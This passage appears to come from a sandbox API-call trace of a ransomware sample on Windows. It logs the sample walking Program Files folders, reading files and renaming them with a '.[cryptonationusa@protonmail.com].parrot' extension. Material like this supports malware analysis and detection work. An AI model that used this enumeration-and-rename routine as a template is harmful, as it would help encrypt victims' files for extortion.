nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9fc349b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fc349b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b87750, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b87750, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0b3b490, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b3b490, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0245.309] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0245.310] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0245.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.310] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.310] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0245.310] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0245.310] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0245.310] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0245.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.310] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.310] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ea97e0, ftCreationTime.dwHighDateTime=0x1d5b76c, ftLastAccessTime.dwLowDateTime=0x52d2b7f0, ftLastAccessTime.dwHighDateTime=0x1d58698, ftLastWriteTime.dwLowDateTime=0x52d2b7f0, ftLastWriteTime.dwHighDateTime=0x1d58698, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0245.311] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0245.311] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.311] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.312] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.312] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0245.314] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.314] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.315] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.315] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4268, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4268, lpOverlapped=0x0) returned 1 [0245.317] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.317] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32732a0 | out: hHeap=0x5b0000) returned 1 [0245.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0245.323] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.323] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.325] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.325] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42ba, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x42ba, lpOverlapped=0x0) returned 1 [0245.326] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.327] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.332] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.332] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.332] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.332] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.332] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.332] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0245.333] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.368] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.368] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.370] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.370] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4288, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4288, lpOverlapped=0x0) returned 1 [0245.372] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.372] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.379] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.379] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.380] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.381] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x423b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x423b, lpOverlapped=0x0) returned 1 [0245.382] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.382] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.387] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.387] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.389] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.389] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41e3, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x41e3, lpOverlapped=0x0) returned 1 [0245.390] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.391] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leesmij.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.394] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.395] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.396] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.396] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4289, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4289, lpOverlapped=0x0) returned 1 [0245.397] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.398] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.402] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.402] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.403] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.403] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4273, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4273, lpOverlapped=0x0) returned 1 [0245.404] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.404] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.423] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.423] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.427] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.428] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42b6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x42b6, lpOverlapped=0x0) returned 1 [0245.429] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.435] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.435] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.436] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.437] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43c7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x43c7, lpOverlapped=0x0) returned 1 [0245.437] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.438] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.443] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.443] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.444] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.444] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41fc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x41fc, lpOverlapped=0x0) returned 1 [0245.445] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.450] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.450] ReadFile (in: hFile=0x280, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0245.451] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.451] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x434e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x434e, lpOverlapped=0x0) returned 1 [0245.452] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.453] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.456] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0245.456] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.456] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.456] lstrcmpW (lpString1="..", 